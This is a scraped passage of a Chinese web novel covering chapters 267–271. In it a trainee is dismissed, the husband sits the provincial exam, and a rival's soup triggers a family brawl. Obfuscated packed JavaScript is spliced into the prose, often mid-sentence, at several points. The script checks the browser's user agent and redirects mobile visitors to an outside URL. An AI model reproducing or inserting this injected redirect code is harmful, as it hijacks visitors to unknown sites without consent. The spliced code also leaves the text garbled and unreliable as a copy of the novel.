该! 姓应的,让你装可怜骗我妹! 搬起石头砸自己的脚了吧! “哈哈哈哈……” 闻颜:“……” 莫名其妙! ** 一夜无话。 翌日一早。 应知林在屋里收拾考试要用的东西。 闻颜在一旁帮忙。 刘婶子就带着‘净面娘子们’来了。 要考校她们的学习成果,闻颜和佩儿就当了考题,让她们给二人洁面。 闻颜和佩儿再根据她们的实力打分。 她们都很紧张,推推搡搡的都不敢第一个来。 最后还是香莲站了出来。 看得出来她很紧张,深吸一口气,道:“我先来吧。” 第267章:撵人,立威 随后,她就在闻颜脸上操作起来。 她的手法柔中带劲很是舒服,结束的时候,闻颜都昏昏欲睡了。 闻颜毫不吝啬地给她打了满分。 香莲非常激动,连连鞠躬说谢谢。 有了香莲打头,闻颜又如此和善,后面的人胆子都大多了。 可以看出,这些姑娘们学得都很用心。 手法、力度都很不错。 直到新的一个‘净面娘子’上手,才刚开始,闻颜就叫停了。 闻颜翻身坐起,抓过她的手:“你的手为何如此粗糙?刚才刮得我脸好疼!” 妇人二十出头,长得还算漂亮。 她紧张地将手缩回,不敢看闻颜的眼睛。 “我给你们每人准备了一大罐润手膏,只要每天按我教的方法除茧敷手,一个月时间下来,你的手不该如此粗糙的。” 刘婶子提过她的家境。 她家里虽穷,但她夫君、婆婆都很疼她。 她只负责家中事务,手的粗糙程度在众多学员当中都算是好的。 别人的手虽不如少女细嫩,但都没有老茧了。 绝对不会像她的手这般。 妇人支支吾吾,低着头说不出话来。 还偷偷给刘婶子使眼色,希望她帮自己说说情。 闻颜见她不答,耐性耗尽。 刘婶子一直察颜观色,见闻颜神情变化,她当即催促那妇人:“我每天都盯着你们去茧护手,你的手到底什么情况?你倒是快说啊!” 妇人见事情瞒不住了,刘婶子也不肯帮她。 这才扭扭捏捏地开口解释。 闻颜却抬手阻止了她:“算了,你也不必解释了。 我看你对这份活计也不甚在意,那从今以后你就不必来了。让你去学手艺浪费了一个月时间,等会儿让刘婶子给你结五百文工钱吧。” “不要啊!”妇人这才慌了,急急解释:“我不是故意的。我只是觉得我去学手艺,每天吃香的喝辣的,轻轻松松什么都不做,而我婆婆却在家中忙里忙外,辛苦操劳。我心疼她,便将润手膏分了她一半。” “秀才娘子,您就看在我一片孝心的份上,饶过我这一回吧。以后我一定尽心尽力做事,再也不会把拿润手膏去尽孝了。” 闻颜不语。 佩儿上前道:“你这人好没道理,我家小姐既然把润手膏给了你,润手膏就是你的,你要如何处置使用,我家小姐才懒得管这闲事。 你便是一点润手膏不用,只要能让手恢复跟其他人一样就行。 可是你拿了东西,却达不到我们的要求。 今日给你开了先例。 往后别人也有样学样,给客人偷工减料,昧下客人用品,我们又该如何处理? 我家小姐开门做生意,不是来行善的。” 佩儿一通话,说得众**气都不敢出。 就连刘婶子,都垂眸凝神,不敢吱声。 “没有规矩不成方圆,刘婶子你现在把她带走吧。”佩儿拿出一串钱交到刘婶子手里。 刘婶子拿过钱,拉着妇人离开。 那妇人不断挣扎,都急得哭了出来。 刘婶子把她推至院外,呵斥道:“你闹什么闹。这一个月来,我日日叮嘱你们,你自己不珍惜机会,怪不了别人。” 妇人急得直抹眼泪,想求刘婶子说情,刘婶子‘砰’的一声关上院门。 院中。 ‘净面娘子’们噤若寒蝉。 做事都小心翼翼。 好在后面的人一一考试之后,闻颜都给了合格。 “在我手下做事,技术可以慢慢练,我更看得懂规矩,守本分。 你们有谁觉得我这儿规矩严,不适应的,现在就可以退出了。 因为接下来,我的规矩会比现在严一百倍。” 众人互视几眼,无一人退出。 “既然无人退出,那就回去准备准备,过几天跟我一道去京城,学礼仪。” 没有被淘汰,众人松了口气。 但是心里又忐忑不安,害怕自己规矩学不好,会被淘汰。 众人屏气凝神,挤挤搡搡,迫不及待地出了应家的小院子。 待这些人走后。 院子中就只剩下刘婶子和哑妹。 不等刘婶子开口。 哑妹就自己走了过去,对着闻颜一通比划,表示要给她染蔻丹。 一个月前,刘婶子带着众人去花楹镇时,闻颜特地让她把哑妹带上。 哑妹年纪小,不学净面的活。 闻颜单独出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344309|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束脩,让她专门去学画画花钿,和染蔻丹的手艺。 经过一个月的时间,哑妹觉得自己算是学有所成。 哑妹也长胖了一些,皮肤也白了一些。 身上穿着一身旧衣,看着精神了不少。 再加上她眼睛圆圆的,亮亮的,若是再换一身喜庆的衣赏,就像散财童子一样喜庆。 闻颜笑着问道:“刚才我那么凶,你不怕我?” 哑妹摇摇头,用手比划:“我没做错事,你不会罚我。” 闻颜笑着揉揉她的脑袋:“你倒是什么都知道。” 随后,哑妹就开始给她染蔻丹。 染蔻丹需要时间,第二天拆开了包的树叶之后,闻颜发现哑妹的蔻丹染得很有意思。 她将花钿和蔻丹融入一起,她红色的指甲上,便出现了不一样的花纹。 不过因为画技一般,图案还比较稚拙。 但这也让闻颜大为惊喜。 如果能做出更多的样式,定能受到京城贵女们的青睐。 她当即就拉着哑妹,对她道:“你跟着我学画画吧。” 哑妹不懂闻颜的意思,歪着脑袋,明亮的大眼睛里满是困惑。 当然,这些都是后话了。 考校结束的当天。 松山村各处都在传着关于闻颜的流言。 手糙的妇人,失魂落魄地回到家中。 家人见她情绪低落,便追问缘由。 她哭唧唧地说自己被辞退了,仅仅是因为手太粗糙。 她婆婆听她,与她一起同仇敌忾,数落闻颜的不是:“她可是秀才娘子,怎能如此斤斤计较,一点都不大气! 不就是一罐润手膏的事儿吗?大不了我们把手膏钱补上,凭什么把我们刷掉!” 她的夫君却说:“谁让你去当这个出头鸟的,不杀一杀你,如何镇得住其他人。 就好比,你请人来做一桌大席,人家给你做一桌素斋,你还能再用这个厨子?” 婆婆哑口无言。 “难道,这份工我真的要放弃吗?要不要送点礼,再说说情?”妇人还是有些不甘心。 她可是起早贪黑,用心学了一个月。 连老板娘都说她很有天赋,做得很好。 她不甘心就被撵出来。 第268章:秋闱、入场 妇人夫君见她虎头虎脑,怕她再做出什么错事,便叮嘱道:“秀才娘子是个讲规矩的人,她的眼界不在小小的松山村,不会记恨我们。你安分些,以后扩招,或是有新的活计,我们再去争取也不迟。” 妇人闷闷地应了一声,还算听话。 当然,对她心存怨怼的只是少数,赶尽感谢的反而是多数。 比如香莲一家。 香莲婆婆在得知她通过考核后,高兴得极了。 当即就抓了家里的大公鸡,宰了给闻颜送去。 对于这些好好坏坏的议论,闻颜不仅不讨厌,反而还喜欢得很。 人善被人欺,马善被人骑。 只有不好惹,他们才会谨慎小心地做事。 她后面生意做起来,太好说话,只会给自己招麻烦。 闻颜用心准备行李,明日就要进京了。 秋闱一般在府城,松山村是京城的辖地,考试自然也在京城。 应知林要提前去京城适应环境。 远些的学子,提前半个月来了。 闻颜正在系包袱,因为力气不够,总是松松垮垮的。 “我来吧。”应知林接过手。 巨大的手掌,轻易扯住了系带,三两下就将包袱系得牢牢的。 小海突然兴冲冲地跑进院子:“嫂嫂,你看谁来了。” 闻颜回头,就见一对老夫妻,互相扶持走了进来。 正是张敢娘夫妇。 “爹、娘,你们怎么来了?”闻颜笑着迎了上去。 “应秀才马上就要秋闱了,我们来看看,有没有什么我们帮得上忙。”张敢娘笑眯眯的说着,状态看着比上次还要好一些。 柳父便将一个钱袋子递给应知林:“这是我们的一点心意,应秀才你别嫌弃。” 应知林没有伸手接,而是看向闻颜。 见闻颜点头,他才接过,特别嘴甜:“谢谢爹,谢谢娘。” “哎!哎!好孩子。”张敢娘夫妻俩心里甜滋滋。 闻颜留他们吃过午饭,眼看天色渐晚,夫妻俩才离开。 离开了闻颜家,张敢娘拉着老伴的手,激动地道:“孩子他爹,你听见了吗,今天颜颜叫我们爹娘了。” 柳父也激动得点头如捣蒜:“听见了。 颜颜温温柔柔的叫我爹,我的心都化了。”当时他差点没忍住,飙出眼泪来。 “当时我都不敢答应,害怕是我的错觉。” “颜颜终于承认我们了,真好!” 夫妻俩互相搀扶着,渐行渐远。 而此时,远在京城的闻府。 闻父下衙回来,管家连忙上前侍候。 闻父脱下官服:“外面可有新的谣言?” “没有,我早中晚三次派人出去打听,都没有任何谣言。” 闻父重重松了口气,吐槽道:“以前她哪次回来,不是弄得腥风血雨,流言满城。 此次竟这般安静,我好不习惯。” 翌日一早。 闻颜他们就出发了。 把家里的事交给辰七哥,应知海和应知雪也一起带去了京城。 闻颜他们走在前面,几辆牛车载着‘净面娘子’,跟在后面。 防止老应家**。 闻颜他们一走,应族长就带着人封了村。 在秋闱结束之前,村子里只准进不准出。 不用着急赶路,一行人中午才到京城。 佩儿带着‘净面娘子’去新铺子的后院宿舍。 闻颜领着应知林,去租用的宅子。 宅子里已经来了好些赶考学子。 看见闻颜,很守礼地跟她打招呼。 将这边安排好之后,闻颜就回‘一点墨’。 ‘一点墨’的笔墨纸砚,原本就物美价廉。 闻颜在原本就薄利的情况下,又做了八折促销,导致店里的生意爆好。 闻颜基本上不赚钱,但是给店里赚了人气,也盘活了供货的商户。 店里客满为患,闻颜坐在柜台里,帮忙收钱看店。 就听几个刚进店的人议论:“听说了吗?方圆赌坊开了盘,押谁是今秋解元。” “那还用说,肯定是津平侯府的世子爷啊,三年前他就是院试第一名,今年肯定也是他。” “那不一定。霍世子只是京城院试第一名,乡试可是包含了周边四府的优秀学子,霍世子不一定比得过。” “对,我听说有一个姓祁的学子,他今年才十九岁,就是沧州府院试第一名。 据说他是出身寒门,却是天生的读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344310|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书苗子。” 姓祁的沧州学子。 莫非是祁云舟。 他确实是天生的读书苗子。 前世的本次乡试,他只取得了第十名。 优秀,但不足以让人觉得是个威胁。 直到会试、殿试他连夺二元,成为大庸宝顺三十三年的新科状元。 以一名之差,让苦心孤诣的霍耀行也只能屈居第二。 “我还是相信霍世子,知根知底,我要买他夺得解元……” “我投祁学子……” 顾客一边挑货,一边言论着此事。 闻颜只是笑笑,并不参与此事。 倒是晚上佩儿回来时,询问闻颜要不要下注:“那位祁学子很不错,下注率几乎跟霍耀行持平,说不定他能把霍耀行比下去。” 直到此时,家中没有一个人觉得,应知林会考中举人。 就算中举,名次也是吊车尾,根本不可能与这些天之骄子争解元。 闻颜轻轻弹了一下她的脑门,笑着道:“想玩就拿一角碎银子,去买霍耀行吧。” “干嘛要买他,这不是涨他人志气,灭自己威风吗?”佩儿不高兴地撅着小嘴,但很快她又把自己哄好了:“霍耀行不是个东西,银子可没错。小姐,我很快就回来。” 佩儿一阵风似的卷出了铺子。 距离考试日越来越近。 闻颜 带着人给他们做干粮。 晒干的熟米饭,饼烤好之后碎成丁,蔬菜干、肉干…… 每天不同东西轮着做,弄得满院飘香,馋得住在宅子里的学子,都没法安心读书。 时不时就有人来打探情报,他们在做什么好吃的。 闻颜又买了一些降暑药、扇子、油布披风等东西。 闻颜给他们每人发了一份,足够他们考试期间使用了。 转眼就到了报考这一日。 下午进场。 在号舍里适应一夜,翌日清晨开考。 在家中吃过午饭之后,他们才出发,步行至贡院。 闻颜已经不是第一次送考,流程十分熟悉。 贡院前,她又叮嘱应知林和他的同窗们,再检查一遍考篮。 以防有心之人,塞入什么奇奇怪怪的东西。 第269章:开考、腹痛 每年在考场外面,都会逮到几个带夹抄的。 考场外的短短时间,才是最危险的时候。 贡院门前围得水泄不通,除了送学子考试的家眷,还有凑热闹的百姓。 人挨着人,一不小心就会被小人塞了小抄。 还找不好凶手。 大家都仔仔细细的检查。 除了考篮、衣服、鞋子也没放过。 就在此时,一辆华丽的马车朝贡院门口驶来。 “当心!”忽然,应知林用力拉了闻颜一下。 闻颜踉跄着撞进应知林怀里,他也被带得往后退。 两人站稳之后,应知林还是将她圈在怀中保护起来。 闻颜回头,就见一辆熟悉的马车,停在她刚才所站的位置。 马车帘子掀起,露出霍耀行那张棱角分明的脸。 路边有人兴奋尖叫:“快看,是霍世子。” “霍世子果然英俊不凡,还满腹经纶。” “霍世子,看这里……” 霍耀行面无表情地放下帘子。 别人或许当他是性子高冷,闻颜却一眼看出,他已经生气了。 不过这不关她的事。 她叮嘱应知林几句,就催促他赶紧验明证身,先进考场。 霍家马车里。 闻如月陪着霍耀行一起来的。 霍耀行正要下马车,忽然被闻如月拦住。 霍耀行回头看着她:“怎么了?” “我给夫君准备了好东西。”闻如月从箱笼里拿出一只食盒,献宝似的晃了晃。 “这是我特地为夫君准备的幸运汤,是用鸽子和名贵药材小火慢炖出来的。 为了做它,我从昨天晚上就开始忙活了,连觉都没睡好。 不信你看我的黑眼圈,都快垂到胸口了。” 闻如月娇嗔模样,三两下就给霍耀行盛了满满一碗汤,翘着兰花指递到霍耀行面前:“所以啊,耀行哥哥一定要把汤喝光!” 霍耀行闻着浓浓药味的汤,眼中闪过不耐烦:“我现在不渴不饿,这汤就不喝了。” “那怎么行。这可是我的一片心意,耀行哥哥您忍心辜负我吗?”闻如月嗲声嗲气,缠得霍耀行眉头直抽抽。 最后他忍无可忍,夺过碗随意喝了两口,就把碗塞回给闻如月。 “哎……怎么才喝这么一点啊!”闻如月嘟着嘴哼了哼,霍耀行已经撩起帘子下马车。 闻如月连忙放下碗,追了出去。 只可惜霍耀行人高腿长,很快就过了第一道关卡。 闻如月追不上,朝他挥着手,大声喊,“夫君,加油啊!此届状元非你莫属!” 霍耀行脚下一绊,离开的步子就更快了。 旁人好奇打量闻如月,议论纷纷:“原来她就是霍世子的夫人啊!长得可真水灵。” “气质也好。不愧能当上世子夫人。” 闻如月在议论声中渐渐昂扬起脖子。 一回头就看见了闻颜,她走了过去:“哟,这不是我的好妹妹闻颜吗?你怎么出现在这里? 哦,不会是你那个秀才夫君也要参加科考吧!” “是又如何?关你何事?你管得可真宽!”闻颜白她一眼,转身就要走。 闻如月绕到前方,拦住她的路,“哎,我的好妹妹,你别急着走嘛!你不如在这里等一等,说不定,用不了多久,你的穷酸夫君,就会被人从里面抬出来。” 前世便是如此。 应知林只在里面呆了一夜。 第二日拿到考题不久,他就因腹痛晕倒在号舍之中,最后被官兵抬了出来。 经此一事。 让他本就羸弱的身体,一日不如一日,最后草草送命。 还好,这一世嫁他的不是自己。 “而我的耀行哥哥,一定会拿下本次解元,就连明年的会元、状元也是耀行哥哥的囊中之物。 而你……”她还记得考题,只要提前告之耀行哥哥。 让他早做准备,小小状元,探囊取物一般简单。 闻如月身体前倾,嘲弄地看着闻颜,“而你的夫君,别说是解元,状元,他只怕连个举人都考不上。”不仅考不上,还是个短命鬼,不出三四年就会去地下,跟他短命的爹娘团聚。 至于闻颜。 应知林是个天阉,闻颜没有儿女傍身,松山村也容不下她,她除了回闻家,任由自己拿捏,她已无路可走。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344311|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 闻颜现在已经是穷巷里的恶狗。 “闻颜,你从现在开始巴结讨好我还来得及,只要把我哄高兴了,将来让世子爷给他一个官当当,也不是不可能。” 应知雪和应知海,最讨厌闻如月说哥哥坏话。 以前为了嫁给哥哥,不惜用下作手段,有了更好的选择,又毫不犹豫地将大哥抛弃。 闻如月就是一个坏女人。 姐弟俩恨不得把闻如月盯出个洞来。 “聒噪!” 闻颜懒得听她**叫,直接笑眯眯地问道:“长姐如此关心我夫君的前程,莫不是对他余情未了?” 闻如月顿时脸色大变:“你有说什么,谁稀罕那个穷酸秀才!” “既如此,你这般关心别人的夫君做什么? 您要的香料找到了? 你脸上的墨迹洗干净了?” 闻颜一连三问。 闻如月气得双眼圆瞪,脸颊涨红,却因为脂粉太厚,别人根本看不出他的脸色变化。 她摸了摸,涂了厚厚脂粉的脸颊,也不知这个小**在墨水里加了什么,这么多天也还没洗掉。 闻颜见她吃瘪,带着应知雪姐弟离开。 次日,寅时正。 闻颜披衣站在窗前,听着贡院方向传来鸣炮声。 本界乡试,正式开考。 第一场考经义,考生们看完题后,有的蹙眉,有的沉思,有的继续大睡。 透着疲态的霍耀行轻轻呼出一口气,悬着的心终于落回实处。 这一界的科举试题,仍然未变! 前世,他获得解元的文章,在文人圈子里流传,赏析。 以至于他能将文章倒背如流。 答案浮现脑海。 他甚至不用深思,提笔就写了起来。 写着写着,他的腹部突然传来一阵绞痛。 霍耀行的脸,扭曲了一下。 又来! 昨日入了考场不久,霍耀行就开始腹部。 他庆幸那是开考之前,去了茅司也不会在试卷上盖戳。 经过一夜折腾,他又吃了带来的药丸,本以为今日能够安心考试,没想到腹中还是不得安生。 第270章:旧情难忘 最近这段时日,他的衣食住行都格外谨慎。 府中甚至请了太医,专门盯着他的膳食,就怕有人使坏。 唯一的意外,便是昨天下马车之前,闻如月给自己喝的那碗汤有问题。 千防万防,没想到竟被自己的结发妻子害了。 此时此刻,霍耀行生出悔意。 自己不该因为闻如月够蠢、好拿捏就娶了她。 跟聪慧沉稳的闻颜比起来,闻如月蠢得就像个跳梁小丑。 不过,也正是因为她够蠢,才更适合替她把持正妻的位置。 不过,敢坏他的好事,总得给她长长记性! 如此这般计划着。 霍耀行的腹部,再次传来巨痛。 霍耀行脸色一阵扭曲,猛地夹紧双腿,举起有事牌。 不一会儿,一位巡绰官和两名手持水火棍的军卒走了过来。 巡绰官识得霍耀行,对他很是客气:“你有何事?” “考生腹痛,想去如厕。” 巡绰官提醒道:“你当真要去,要是去了,考卷上可就要盖上出恭印。” 虽然出恭印并不影响成绩,但有些阅卷官很在意这个。 会在集体表决时,拿出来说事,影响其他考官对考生的印象。 巡绰官也是一片好意。 但腹痛难挡的霍耀行却觉得烦躁,随着他的肚子轰隆作响,他低斥一声:“你好生啰嗦!” 巡绰官神情一僵:“是本官多嘴了。” 他将一块出恭入敬牌递给霍耀行,就让军卒带他去了粪号。 而在另一区域的应知林,和他的一众同窗,全都在全神贯注的作题。 午时刚过,应知林就写完了第一场考卷。 他将答卷晾晒在一旁,便转过身,开始做今天的午食。 一捧熟米,加一把饼粒、一把肉丁、一把青菜丁,加适量的水,放在炉子上小火慢煮。 不一会儿,诱人的香气,便飘向考场的其他角落。 无数奋笔疾书的考生,都被香味吸引。 不一会儿。 又有几个舍号传出相似的香味。 是应知林的同窗,他们也答完试卷,开始做午饭了。 很快,整个考场便响起此起彼伏的咕噜声。 是那些学子们的腹中,唱起了空城计。 身体和心灵的双重折磨,让他们更加无心答题了。 别说是考生,就连看守的军卒,也馋得直咽口水。 要不是考场纪律严明,他们定会厚着脸皮分一碗尝尝。 相似的场景,在接下来的几天时有发生。 其他学生,本就答题辛苦了,还要被人这样引诱,一个个气得咬牙切齿。 到底是谁,竟然在考场做出如此香的食物! 千万别让他们逮到,否则定要捶爆他的狗头! 应知林他们忙着考试之时,闻颜也没闲着。 白夫人寻来不是普通的宫女嬷嬷,而是两名从宫中退下来的女官。 一位姓殷,一位姓荣。 两人在宫中就是好友,出宫之后,也不想分开。 两人腰背挺拔,仪态端方,自有一股气势。 二人保养得宜,看上去才三十出头,实则已经四十多岁了。 闻颜的见面礼仪很是标准。 白夫人招呼他们一起吃茶、闲聊,算是初步的双选。 两位女官对闻颜的初印象很好,接下来便说起正事。 闻颜要聘请教**‘净面娘子’的礼仪,以及一些紧急情况的应对之策。 暂定聘请她们一年时间,每月五十两的薪俸。 宫里退下来的女官,放在任何地方,都是抢着要的存在。 闻颜倒是想把二人永远留住。 只可惜,她现在的庙太小,不留不住她们。 白夫人又道:“二位先委屈一年,帮一帮我这义女。 一年之后,还要请二位返回孟家,盯着我那个皮猴儿一样的女儿。” 提到孟迟飞,殷、荣二人皆露出宠溺的笑容。 当天,闻颜就将二人接回了新铺子的后宅,由她们调教‘净面娘子’。 乡试连考三场,五天时间一晃而过。 闻颜提前租了五辆马车,提前候在贡院门外。 闻如月也来了。 这一回她倒是学聪明了,没敢凑到闻颜面前找骂。 两人各站一边,互不理睬。 等了半个时辰,贡院的门才缓缓打开。 考生一个个走了出来。 有的脚步踉跄,有的二三人互相支撑着往外走。 意气风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344312|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发,精神奕奕的人寥寥可数。 很快。 陆续看见梧桐书院的学子,他们都像被吸干了精气一般。 身上还散发着长时间不洗澡的酸臭味道。 “快上车,一车坐七人,数量够了就先回宅子。 宅子里准备好了饭食和热水。” “多谢弟妹/嫂嫂准备药药丸,这次帮了我们大忙了。”天气炎热,他们都有中暑的迹象。 好在有闻颜准备的清心丸,才让他们没有大病,能够全副精力答题。 闻颜摆摆手:“快去吧。” 应知林从贡院出来,看见的就是这一幕。 他的眼珠子骨碌碌一转,原本笔直的脊背忽地一软,塌了下去。 抓皱衣裳,扒散头发,炯炯有神的眼睛半合着,让他瞬间从精神饱满,变得虚弱不堪。 他脚步沉重地走向闻颜。 闻颜连忙上前扶住他:“你没事吧。” 应知林挣扎着,试图自己站稳。 反而更加踉跄,仿佛随时都能倒下。 闻颜抓紧他的胳膊:“都什么时候了,别要面子了。走吧,我扶你上马车。” 应知林点点头:“有劳娘子了。” 闻颜扶着应知林坐上马车,交待佩儿在这边盯着,她先送应知林回去。 霍耀行看着缓缓驶离马车,脸色变得很是难看。 闻颜对她那个废物夫君,倒是体贴得很。 她还真是一点都不挑。 那个男人有什么好的? 家中一穷二白,连吃饭都成困难。 读书亦是不行,他甚至没听过此人名号。 长得也像相公倌里的男倌人。 就这等货色,闻颜竟然还一脸谄媚地侍候着。 霍耀行浑身不自在,仿佛被这二人拉低了档次。 果真是**。 “耀行哥哥,你在看什么?”耳边突然响起闻如月的声音。 霍耀行回头看向她。 他面无表情,深沉如渊的眼神中,看不出他真正的情绪。 闻如月嘟起嘴,撒娇道:“你在看闻颜对不对! 你看她和应知林在一起心里不舒服了? 你是不是还对她旧情难忘? 你既然喜欢他,当初为何要娶我!” 第271章:婆媳大战 闻如月声声质问。 霍耀行烦躁不已,他斜睨她一眼,眼神冰冷,低斥一声:“闭嘴。” 闻如月一怔。 眼眶里瞬间蓄满委屈的泪水,她颤抖着嘴唇,似要控诉什么,却在霍耀行冰冷的目光下,一个字都不敢多说。 霍耀行大步上了马车。 闻如月委委屈屈地跟了上去。 闻颜他们很快就回到宅子。 闻颜请了一位大夫,在宅子里坐镇。 她把应知林扶到正厅坐下,就连忙叫大夫给他把脉。 把脉岂不是露馅了?! 闻颜若知道自己骗她,生气事小,就怕她立即终止合约。 应知林把手伸了出去,虚弱道:“大夫,您仔细瞧瞧,我的身体没问题,只是连考几天太累了,只要我夫人好好照顾就能很快好起来,对不对!” 大夫观察应知林的脸色。 应知林朝他眨眼示意。 大夫也是个人精。 猜测小俩口吵了架,夫君在装病哄妻。 他虽觉得应知林妻奴了些,但也乐意帮忙。 当即就顺着应知林的话说了下去:“夫人,你夫君的身体确实没有大碍,可能是乡试让他压力过大,积郁在心,平时你多陪他说说话,聊聊天,说些让他开心的事,很快就能恢复如初。” 得知他的身体没有大碍,闻颜松了口气。 家人的陪伴,才是最好的心郁疗法。 还是叫知海姐弟多陪陪他吧。 就在此时,其余学子也陆续回来了。 他们看见闻颜,就拱手作揖。 闻颜吓得跳到应知林身后:“知林,你的同窗是不是考试考傻了!” 应知林脑海里只有闻颜叫自己名字时的声调。 又软又甜,连受惊劈叉的尾音都显得可可爱爱的。 应知林保护闻颜,瞪他们:“你们发什么疯,吓着我妻子了。” 其他人赶忙解释:“不是的,我们是想感谢弟妹,多亏了她准备的药丸和香包,让我们在考场上少遭很多罪。” 药丸有补气、避暑的。 香包是驱蚊虫的。 这些都在考场上发挥了重要作用。 应知林仿佛被赞扬的是自己,他得意地哼了一声:“现在知道我妻子有多厉害了吧!” 其他人连忙一串马屁奉上。 闻颜臊得浑身不自在。 她随意找了个借口,就离开了宅子。 这时候。 霍耀行的马车,也回到了津平侯府。 津平侯夫妻,已经等在大门口。 霍耀行跳下马车,侯夫人立即迎了上去,关切问道:“我的儿,发挥得怎么样?解元能拿一吗?” 霍耀行的脸色越发阴沉:“回去再说。” 侯夫人心里咯噔一下,有种不好的预感。 很快。 一家四口到了正厅。 津平侯道:“耀行,说吧,考试之时,到底发生了何事?” 霍耀行的眼刀子立即甩向闻如月:“你们问她吧,都是她干的好事。” 闻如月茫然极了:“夫君,我做错什么了?这几天我都大门不出,二门不迈,什么时候给你惹麻烦了。” “我进考场没多久,腹部就开始隐隐作痛,持续了一天一夜。 在进考场前,我只喝了你端给我的汤。” “你怀疑我在汤里加了东西?”闻如月大喊冤枉:“夫君,我们夫妻一体,我只会盼着你好,怎么可能害你。” “但我确实是喝了你的汤才开始腹痛,你如何解释?” 闻如月只觉得不可思议。 耀行哥哥自己发挥不好,竟把原因怪在她身上? 她正欲说什么,门外人影闪动。 伴随着一声娇笑,两道窈窕身影自门外走入。 竟是敬明媚和江柔儿。 江柔儿进屋之后,剪水秋瞳媚如丝地看向津平侯,一番缠绵纠缠之后,她才挪开目光,看向霍耀行。 霍耀行厌恶地别开目光。 敬明媚笑盈盈地道:“我听说大公子从贡院回来了。大公子的学识整个京城皆知,此次解元非你莫属,我是过来庆贺的!” 敬明媚说完,也不管屋中之人欢不欢迎,她抬手招了招。 她的侍女杜鹃,端着一个托盘走了进来,托盘里放着六个大元宝。 “六个大元宝,代表六六大顺。这可是我的一片心意,大公子你不会嫌弃的哦。” 他们这种人家,恭贺哪有直接送银子的? 莫非她在打发破落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344313|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 户? 敬明媚听下人来报,说霍耀行阴沉着脸回府。 她当即就坐不住了,兴冲冲地跑来吃瓜。 “我刚刚在门外听到什么汤,什么腹痛?少夫人,你为何要这么做的?大公子落榜对你有什么好处?” “我说了我没有!”闻如月气得不行,狠狠剜了敬明媚一眼。 她一个卑贱的妾室,凭什么在家里对她这个少夫人指手划脚?! 敬明媚仿佛没察觉到闻如月的恨意,又将矛头对准霍耀行,责备地道:“大公子,少夫人说她没有,你为什么要冤枉她? 不会是你自己发挥失常,拉不下面子承认,就故意把责任推到你妻子身上吧! 啧啧啧,这可不好,这是没有担当的懦夫行为!” 霍耀行下意识就道:“不可能!在府上我喝一口水都太医把关,唯有进考场前喝过她的汤。 不是她,还能有谁!” 闻如月急道:“那滋补的药膳方子,是我好不容易弄到手的。最是补气益身,不可能有问题。” 小夫妻很快就吵起来了。 侯夫人哪受得了儿子被一个女人骂,再加上敬明媚在一旁挑拨离间。 她冲上去就给了闻如月一耳光。 侯夫人这一巴掌使了全力,打得闻如月耳朵嗡嗡作响。 闻如月活了两世,也不是吃亏的主儿,当即大喊一声:“我跟你拼了!”就扑向侯夫人。 侯夫人没料到闻如月会反抗,怔了一下脸就被挠出两道血印。 婆媳俩瞬间殴打在一起。 敬明媚坐到一旁,兴味地看戏。 要不是时机不对,她一定在旁边摇旗呐喊,让她们都要做王者,不能输! 霍耀行都看傻了。 津平侯只觉得脑瓜子嗡嗡作响,被什么炸开了一样。 他一巴掌在桌子上,大喝一声住手。 婆媳俩吓得停了手,眼神却一直在互相**子。 津平侯一人瞪了一眼,两人才安些。 津平侯叫来管家:“去找太医来验药膳方子。” 